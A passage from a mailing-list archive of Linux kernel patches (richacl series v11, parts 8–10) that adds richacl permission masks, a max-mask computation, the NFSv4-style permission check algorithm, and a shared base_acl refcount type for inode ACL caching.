6109f84..c75b40c 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -212,5 +212,8 @@ richace_is_same_identifier(const struct richace *a, const struct richace *b) extern struct richacl *richacl_alloc(int, gfp_t); extern struct richacl *richacl_clone(const struct richacl *, gfp_t); extern void richace_copy(struct richace *, const struct richace *); +extern int richacl_masks_to_mode(const struct richacl *); +extern unsigned int richacl_mode_to_mask(umode_t); +extern unsigned int richacl_want_to_mask(unsigned int); #endif /* __RICHACL_H */ diff --git a/include/uapi/linux/richacl.h b/include/uapi/linux/richacl.h index de29a17..6887f88 100644 --- a/include/uapi/linux/richacl.h +++ b/include/uapi/linux/richacl.h @@ -18,6 +18,9 @@ #define __UAPI_RICHACL_H /* a_flags values */ +#define RICHACL_AUTO_INHERIT 0x01 +#define RICHACL_PROTECTED 0x02 +#define RICHACL_DEFAULTED 0x04 #define RICHACL_WRITE_THROUGH 0x40 #define RICHACL_MASKED 0x80 @@ -31,6 +34,8 @@ #define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 #define RICHACE_INHERIT_ONLY_ACE 0x0008 #define RICHACE_IDENTIFIER_GROUP 0x0040 +#define RICHACE_INHERITED_ACE 0x0080 +#define RICHACE_UNMAPPED_WHO 0x2000 #define RICHACE_SPECIAL_WHO 0x4000 /* e_mask bitflags */ @@ -59,4 +64,48 @@ #define RICHACE_GROUP_SPECIAL_ID 1 #define RICHACE_EVERYONE_SPECIAL_ID 2 +/* + * The POSIX permissions are supersets of the following richacl permissions: + * + * - MAY_READ maps to READ_DATA or LIST_DIRECTORY, depending on the type + * of the file system object. + * + * - MAY_WRITE maps to WRITE_DATA or RICHACE_APPEND_DATA for files, and to + * ADD_FILE, RICHACE_ADD_SUBDIRECTORY, or RICHACE_DELETE_CHILD for directories. + * + * - MAY_EXECUTE maps to RICHACE_EXECUTE. + * + * (Some of these richacl permissions have the same bit values.) + */ +#define RICHACE_POSIX_MODE_READ ( \ + RICHACE_READ_DATA | \ + RICHACE_LIST_DIRECTORY) +#define RICHACE_POSIX_MODE_WRITE ( \ + RICHACE_WRITE_DATA | \ + RICHACE_ADD_FILE | \ + RICHACE_APPEND_DATA | \ + RICHACE_ADD_SUBDIRECTORY | \ + RICHACE_DELETE_CHILD) +#define RICHACE_POSIX_MODE_EXEC RICHACE_EXECUTE +#define RICHACE_POSIX_MODE_ALL ( \ + RICHACE_POSIX_MODE_READ | \ + RICHACE_POSIX_MODE_WRITE | \ + RICHACE_POSIX_MODE_EXEC) + +/* + * These permissions are always allowed no matter what the acl says. + */ +#define RICHACE_POSIX_ALWAYS_ALLOWED ( \ + RICHACE_SYNCHRONIZE | \ + RICHACE_READ_ATTRIBUTES | \ + RICHACE_READ_ACL) + +/* + * The owner is implicitly granted these permissions under POSIX. + */ +#define RICHACE_POSIX_OWNER_ALLOWED ( \ + RICHACE_WRITE_ATTRIBUTES | \ + RICHACE_WRITE_OWNER | \ + RICHACE_WRITE_ACL) + #endif /* __UAPI_RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D8C8A7F8A for ; Fri, 16 Oct 2015 10:19:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 705E5AC001 for ; Fri, 16 Oct 2015 08:19:29 -0700 (PDT) X-ASG-Debug-ID: 1445008768-04bdf06db1729c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id YvvHVwT34zSw0X0F (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:28 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id F30A98E70E; Fri, 16 Oct 2015 15:19:27 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbp011947; Fri, 16 Oct 2015 11:19:22 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 08/48] richacl: Compute maximum file masks from an acl Date: Fri, 16 Oct 2015 17:17:46 +0200 X-ASG-Orig-Subj: [PATCH v11 08/48] richacl: Compute maximum file masks from an acl Message-Id: <1445008706-15115-9-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008768 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Compute upper bound owner, group, and other file masks with as few permissions as possible without denying any permissions that the NFSv4 acl in a richacl grants. This algorithm is used when a file inherits an acl at create time and when an acl is set via a mechanism that does not provide file masks (such as setting an acl via nfsd). When user-space sets an acl via setxattr, the extended attribute already includes the file masks. Setting an acl also sets the file mode permission bits: they are determined by the file masks; see richacl_masks_to_mode(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 157 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 158 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index dd99773..4a10174 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -183,3 +183,160 @@ richacl_want_to_mask(unsigned int want) return mask; } EXPORT_SYMBOL_GPL(richacl_want_to_mask); + +/* + * Note: functions like richacl_allowed_to_who(), richacl_group_class_allowed(), + * and richacl_compute_max_masks() iterate through the entire acl in reverse + * order as an optimization. + * + * In the standard algorithm, aces are considered in forward order. When a + * process matches an ace, the permissions in the ace are either allowed or + * denied depending on the ace type. Once a permission has been allowed or + * denied, it is no longer considered in further aces. + * + * By iterating through the acl in reverse order, we can compute the same + * result without having to keep track of which permissions have been allowed + * and denied already. + */ + +/** + * richacl_allowed_to_who - permissions allowed to a specific who value + * + * Compute the maximum mask values allowed to a specific who value, taking + * everyone@ aces into account. + */ +static unsigned int richacl_allowed_to_who(struct richacl *acl, + struct richace *who) +{ + struct richace *ace; + unsigned int allowed = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_same_identifier(ace, who) || + richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + allowed |= ace->e_mask; + else if (richace_is_deny(ace)) + allowed &= ~ace->e_mask; + } + } + return allowed; +} + +/** + * richacl_group_class_allowed - maximum permissions of the group class + * + * Compute the maximum mask values allowed to a process in the group class + * (i.e., a process which is not the owner but is in the owning group or + * matches a user or group acl entry). This includes permissions granted or + * denied by everyone@ aces. + * + * See richacl_compute_max_masks(). + */ +static unsigned int richacl_group_class_allowed(struct richacl *acl) +{ + struct richace *ace; + unsigned int everyone_allowed = 0, group_class_allowed = 0; + int had_group_ace = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace) || + richace_is_owner(ace)) + continue; + + if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + everyone_allowed |= ace->e_mask; + else if (richace_is_deny(ace)) + everyone_allowed &= ~ace->e_mask; + } else { + group_class_allowed |= + richacl_allowed_to_who(acl, ace); + + if (richace_is_group(ace)) + had_group_ace = 1; + } + } + /* + * If the acl doesn't contain any group@ aces, richacl_allowed_to_who() + * wasn't called for the owning group. We could make that call now, but + * we already know the result (everyone_allowed). + */ + if (!had_group_ace) + group_class_allowed |= everyone_allowed; + return group_class_allowed; +} + +/** + * richacl_compute_max_masks - compute upper bound masks + * + * Computes upper bound owner, group, and other masks so that none of the + * permissions allowed by the acl are disabled. + * + * We don't make assumptions about who the owner is so that the owner can + * change with no effect on the file masks or file mode permission bits; this + * means that we must assume that all entries can match the owner. + */ +void richacl_compute_max_masks(struct richacl *acl) +{ + unsigned int gmask = ~0; + struct richace *ace; + + /* + * @gmask contains all permissions which the group class is ever + * allowed. We use it to avoid adding permissions to the group mask + * from everyone@ allow aces which the group class is always denied + * through other aces. For example, the following acl would otherwise + * result in a group mask of rw: + * + * group@:w::deny + * everyone@:rw::allow + * + * Avoid computing @gmask for acls which do not include any group class + * deny aces: in such acls, the group class is never denied any + * permissions from everyone@ allow aces, and the group class cannot + * have fewer permissions than the other class. + */ + +restart: + acl->a_owner_mask = 0; + acl->a_group_mask = 0; + acl->a_other_mask = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + + if (richace_is_owner(ace)) { + if (richace_is_allow(ace)) + acl->a_owner_mask |= ace->e_mask; + else if (richace_is_deny(ace)) + acl->a_owner_mask &= ~ace->e_mask; + } else if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) { + acl->a_owner_mask |= ace->e_mask; + acl->a_group_mask |= ace->e_mask & gmask; + acl->a_other_mask |= ace->e_mask; + } else if (richace_is_deny(ace)) { + acl->a_owner_mask &= ~ace->e_mask; + acl->a_group_mask &= ~ace->e_mask; + acl->a_other_mask &= ~ace->e_mask; + } + } else { + if (richace_is_allow(ace)) { + acl->a_owner_mask |= ace->e_mask & gmask; + acl->a_group_mask |= ace->e_mask & gmask; + } else if (richace_is_deny(ace) && gmask == ~0) { + gmask = richacl_group_class_allowed(acl); + if (likely(gmask != ~0)) + /* should always be true */ + goto restart; + } + } + } + + acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); +} +EXPORT_SYMBOL_GPL(richacl_compute_max_masks); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index c75b40c..31c5ee7 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -215,5 +215,6 @@ extern void richace_copy(struct richace *, const struct richace *); extern int richacl_masks_to_mode(const struct richacl *); extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); +extern void richacl_compute_max_masks(struct richacl *); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 677AE7F6C for ; Fri, 16 Oct 2015 10:19:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 585648F8059 for ; Fri, 16 Oct 2015 08:19:36 -0700 (PDT) X-ASG-Debug-ID: 1445008774-04cb6c3cee39f60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VJp58rxyaxFHmLyz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:35 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 8A4088EA21; Fri, 16 Oct 2015 15:19:34 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbq011947; Fri, 16 Oct 2015 11:19:28 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 09/48] richacl: Permission check algorithm Date: Fri, 16 Oct 2015 17:17:47 +0200 X-ASG-Orig-Subj: [PATCH v11 09/48] richacl: Permission check algorithm Message-Id: <1445008706-15115-10-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008775 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A richacl roughly grants a requested access if the NFSv4 acl in the richacl grants the requested permissions according to the NFSv4 permission check algorithm and the file mask that applies to the process includes the requested permissions. Signed-off-by: Andreas Gruenbacher Reviewed-by: "J. Bruce Fields" --- fs/Makefile | 2 +- fs/richacl_inode.c | 149 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 + 3 files changed, 153 insertions(+), 1 deletion(-) create mode 100644 fs/richacl_inode.c diff --git a/fs/Makefile b/fs/Makefile index fe3e9dd..ec665fd 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,7 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o +richacl-y := richacl_base.o richacl_inode.o obj-y += quota/ diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c new file mode 100644 index 0000000..5098717 --- /dev/null +++ b/fs/richacl_inode.c @@ -0,0 +1,149 @@ +/* + * Copyright (C) 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +/** + * richacl_permission - richacl permission check algorithm + * @inode: inode to check + * @acl: rich acl of the inode + * @want: requested access (MAY_* flags) + * + * Checks if the current process is granted @mask flags in @acl. + */ +int +richacl_permission(struct inode *inode, const struct richacl *acl, + int want) +{ + const struct richace *ace; + unsigned int mask = richacl_want_to_mask(want); + unsigned int requested = mask, denied = 0; + int in_owning_group = in_group_p(inode->i_gid); + int in_owner_or_group_class = in_owning_group; + + /* + * A process is + * - in the owner file class if it owns the file, + * - in the group file class if it is in the file's owning group or + * it matches any of the user or group entries, and + * - in the other file class otherwise. + * The file class is only relevant for determining which file mask to + * apply, which only happens for masked acls. + */ + if (acl->a_flags & RICHACL_MASKED) { + if ((acl->a_flags & RICHACL_WRITE_THROUGH) && + uid_eq(current_fsuid(), inode->i_uid)) { + denied = requested & ~acl->a_owner_mask; + goto out; + } + } else { + /* + * When the acl is not masked, there is no need to determine if + * the process is in the group class and we can break out + * earlier of the loop below. + */ + in_owner_or_group_class = 1; + } + + /* + * Check if the acl grants the requested access and determine which + * file class the process is in. + */ + richacl_for_each_entry(ace, acl) { + unsigned int ace_mask = ace->e_mask; + + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_owner(ace)) { + if (!uid_eq(current_fsuid(), inode->i_uid)) + continue; + goto entry_matches_owner; + } else if (richace_is_group(ace)) { + if (!in_owning_group) + continue; + } else if (richace_is_unix_user(ace)) { + if (!uid_eq(current_fsuid(), ace->e_id.uid)) + continue; + if (uid_eq(current_fsuid(), inode->i_uid)) + goto entry_matches_owner; + } else if (richace_is_unix_group(ace)) { + if (!in_group_p(ace->e_id.gid)) + continue; + } else + goto entry_matches_everyone; + + /* + * Apply the group file mask to entries other than owner@ and + * everyone@ or user entries matching the owner. This ensures + * that we grant the same permissions as the acl computed by + * richacl_apply_masks(). + * + * Without this restriction, the following richacl would grant + * rw access to processes which are both the owner and in the + * owning group, but not to other users in the owning group, + * which could not be represented without masks: + * + * owner:rw::mask + * group@:rw::allow + */ + if ((acl->a_flags & RICHACL_MASKED) && richace_is_allow(ace)) + ace_mask &= acl->a_group_mask; + +entry_matches_owner: + /* The process is in the owner or group file class. */ + in_owner_or_group_class = 1; + +entry_matches_everyone: + /* Check which mask flags the ACE allows or denies. */ + if (richace_is_deny(ace)) + denied |= ace_mask & mask; + mask &= ~ace_mask; + + /* + * Keep going until we know which file class + * the process is in. + */ + if (!mask && in_owner_or_group_class) + break; + } + denied |= mask; + + if (acl->a_flags & RICHACL_MASKED) { + /* + * The file class a process is in determines which file mask + * applies. Check if that file mask also grants the requested + * access. + */ + if (uid_eq(current_fsuid(), inode->i_uid)) + denied |= requested & ~acl->a_owner_mask; + else if (in_owner_or_group_class) + denied |= requested & ~acl->a_group_mask; + else { + if (acl->a_flags & RICHACL_WRITE_THROUGH) + denied = requested & ~acl->a_other_mask; + else + denied |= requested & ~acl->a_other_mask; + } + } + +out: + return denied ? -EACCES : 0; +} +EXPORT_SYMBOL_GPL(richacl_permission); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 31c5ee7..d5fa7b9 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -217,4 +217,7 @@ extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); +/* richacl_inode.c */ +extern int richacl_permission(struct inode *, const struct richacl *, int); + #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0A73A7F6C for ; Fri, 16 Oct 2015 10:19:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C894AC006 for ; Fri, 16 Oct 2015 08:19:43 -0700 (PDT) X-ASG-Debug-ID: 1445008781-04cb6c3ceb39f60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id C9yWLfJ8LGgQneIz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:41 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 2ADAE2CAB16; Fri, 16 Oct 2015 15:19:41 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbr011947; Fri, 16 Oct 2015 11:19:35 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 10/48] vfs: Cache base_acl objects in inodes Date: Fri, 16 Oct 2015 17:17:48 +0200 X-ASG-Orig-Subj: [PATCH v11 10/48] vfs: Cache base_acl objects in inodes Message-Id: <1445008706-15115-11-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008781 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 POSIX ACLs and richacls are both objects allocated by kmalloc() with a reference count which are freed by kfree_rcu(). An inode can either cache an access and a default POSIX ACL, or a richacl (richacls do not have default acls). To allow an inode to cache either of the two kinds of acls, introduce a new base_acl type and convert i_acl and i_default_acl to that type. In most cases, the vfs then doesn't have to care which kind of acl an inode caches (if any). Signed-off-by: Andreas Gruenbacher --- drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- fs/f2fs/acl.c | 4 ++-- fs/inode.c | 4 ++-- fs/jffs2/acl.c | 6 ++++-- fs/posix_acl.c | 18 +++++++++--------- include/linux/fs.h | 25 ++++++++++++++++++++++--- include/linux/posix_acl.h | 12 ++++-------- include/linux/richacl.h | 2 +- 8 files changed, 45 insertions(+), 28 deletions(-) diff --git a/drivers/staging/lustre/lustre/llite/llite_lib.c b/drivers/staging/lustre/lustre/llite/llite_lib.c index b4ed6c8..5766f69 100644 --- a/drivers/staging/lustre/lustre/llite/llite_lib.c +++ b/drivers/staging/lustre/lustre/llite/llite_lib.c @@ -1118,7 +1118,7 @@ void ll_clear_inode(struct inode *inode) } #ifdef CONFIG_FS_POSIX_ACL else if (lli->lli_posix_acl) { - LASSERT(atomic_read(&lli->lli_posix_acl->a_refcount) == 1); + LASSERT(atomic_read(&lli->lli_posix_acl->a_base.ba_refcount) == 1); LASSERT(lli->lli_remote_perms == NULL); posix_acl_release(lli->lli_posix_acl); lli->lli_posix_acl = NULL; diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index c8f25f7..a4207de 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -270,7 +270,7 @@ static struct posix_acl *f2fs_acl_clone(const struct posix_acl *acl, sizeof(struct posix_acl_entry); clone = kmemdup(acl, size, flags); if (clone) - atomic_set(&clone->a_refcount, 1); + atomic_set(&clone->a_base.ba_refcount, 1); } return clone; } @@ -282,7 +282,7 @@ static int f2fs_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) umode_t mode = *mode_p; int not_equiv = 0; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { diff --git a/fs/inode.c b/fs/inode.c index 78a17b8..2a387f4 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -233,9 +233,9 @@ void __destroy_inode(struct inode *inode) #ifdef CONFIG_FS_POSIX_ACL if (inode->i_acl && inode->i_acl != ACL_NOT_CACHED) - posix_acl_release(inode->i_acl); + put_base_acl(inode->i_acl); if (inode->i_default_acl && inode->i_default_acl != ACL_NOT_CACHED) - posix_acl_release(inode->i_default_acl); + put_base_acl(inode->i_default_acl); #endif this_cpu_dec(nr_inodes); } diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 2f7a3c0..04a5836 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -294,13 +294,15 @@ int jffs2_init_acl_post(struct inode *inode) int rc; if (inode->i_default_acl) { - rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_DEFAULT, inode->i_default_acl); + rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_DEFAULT, + *acl_by_type(inode, ACL_TYPE_DEFAULT)); if (rc) return rc; } if (inode->i_acl) { - rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_ACCESS, inode->i_acl); + rc = __jffs2_set_acl(inode, JFFS2_XPREFIX_ACL_ACCESS, + *acl_by_type(inode, ACL_TYPE_ACCESS)); if (rc) return rc; } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 4fb17de..b3b2265 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -25,9 +25,9 @@ struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { case ACL_TYPE_ACCESS: - return &inode->i_acl; + return (struct posix_acl **)&inode->i_acl; case ACL_TYPE_DEFAULT: - return &inode->i_default_acl; + return (struct posix_acl **)&inode->i_default_acl; default: BUG(); } @@ -83,16 +83,16 @@ EXPORT_SYMBOL(forget_cached_acl); void forget_all_cached_acls(struct inode *inode) { - struct posix_acl *old_access, *old_default; + struct base_acl *old_access, *old_default; spin_lock(&inode->i_lock); old_access = inode->i_acl; old_default = inode->i_default_acl; inode->i_acl = inode->i_default_acl = ACL_NOT_CACHED; spin_unlock(&inode->i_lock); if (old_access != ACL_NOT_CACHED) - posix_acl_release(old_access); + put_base_acl(old_access); if (old_default != ACL_NOT_CACHED) - posix_acl_release(old_default); + put_base_acl(old_default); } EXPORT_SYMBOL(forget_all_cached_acls); @@ -129,7 +129,7 @@ EXPORT_SYMBOL(get_acl); void posix_acl_init(struct posix_acl *acl, int count) { - atomic_set(&acl->a_refcount, 1); + atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; } EXPORT_SYMBOL(posix_acl_init); @@ -162,7 +162,7 @@ posix_acl_clone(const struct posix_acl *acl, gfp_t flags) sizeof(struct posix_acl_entry); clone = kmemdup(acl, size, flags); if (clone) - atomic_set(&clone->a_refcount, 1); + atomic_set(&clone->a_base.ba_refcount, 1); } return clone; } @@ -384,7 +384,7 @@ static int posix_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) umode_t mode = *mode_p; int not_equiv = 0; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { @@ -439,7 +439,7 @@ static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) struct posix_acl_entry *group_obj = NULL, *mask_obj = NULL; struct posix_acl_entry *pa, *pe; - /* assert(atomic_read(acl->a_refcount) == 1); */ + /* assert(atomic_read(acl->a_base.ba_refcount) == 1); */ FOREACH_ACL_ENTRY(pa, acl, pe) { switch(pa->e_tag) { diff --git a/include/linux/fs.h b/include/linux/fs.h index ba91a89..3c22c92 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -576,6 +576,12 @@ static inline void mapping_allow_writable(struct address_space *mapping) #define i_size_ordered_init(inode) do { } while (0) #endif +struct base_acl { + union { + atomic_t ba_refcount; + struct rcu_head ba_rcu; + }; +}; struct posix_acl; #define ACL_NOT_CACHED ((void *)(-1)) @@ -595,9 +601,9 @@ struct inode { kgid_t i_gid; unsigned int i_flags; -#ifdef CONFIG_FS_POSIX_ACL - struct posix_acl *i_acl; - struct posix_acl *i_default_acl; +#if defined(CONFIG_FS_POSIX_ACL) + struct base_acl *i_acl; + struct base_acl *i_default_acl; #endif const struct inode_operations *i_op; @@ -3059,4 +3065,17 @@ static inline bool dir_relax(struct inode *inode) extern bool path_noexec(const struct path *path); +static inline struct base_acl *get_base_acl(struct base_acl *acl) +{ + if (acl) + atomic_inc(&acl->ba_refcount); + return acl; +} + +static inline void put_base_acl(struct base_acl *acl) +{ + if (acl && atomic_dec_and_test(&acl->ba_refcount)) + kfree_rcu(acl, ba_rcu); +} + #endif /* _LINUX_FS_H */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 3e96a6a..2c46441 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -43,10 +43,7 @@ struct posix_acl_entry { }; struct posix_acl { - union { - atomic_t a_refcount; - struct rcu_head a_rcu; - }; + struct base_acl a_base; unsigned int a_count; struct posix_acl_entry a_entries[0]; }; @@ -61,8 +58,7 @@ struct posix_acl { static inline struct posix_acl * posix_acl_dup(struct posix_acl *acl) { - if (acl) - atomic_inc(&acl->a_refcount); + get_base_acl(&acl->a_base); return acl; } @@ -72,8 +68,8 @@ posix_acl_dup(struct posix_acl *acl) static inline void posix_acl_release(struct posix_acl *acl) { - if (acl && 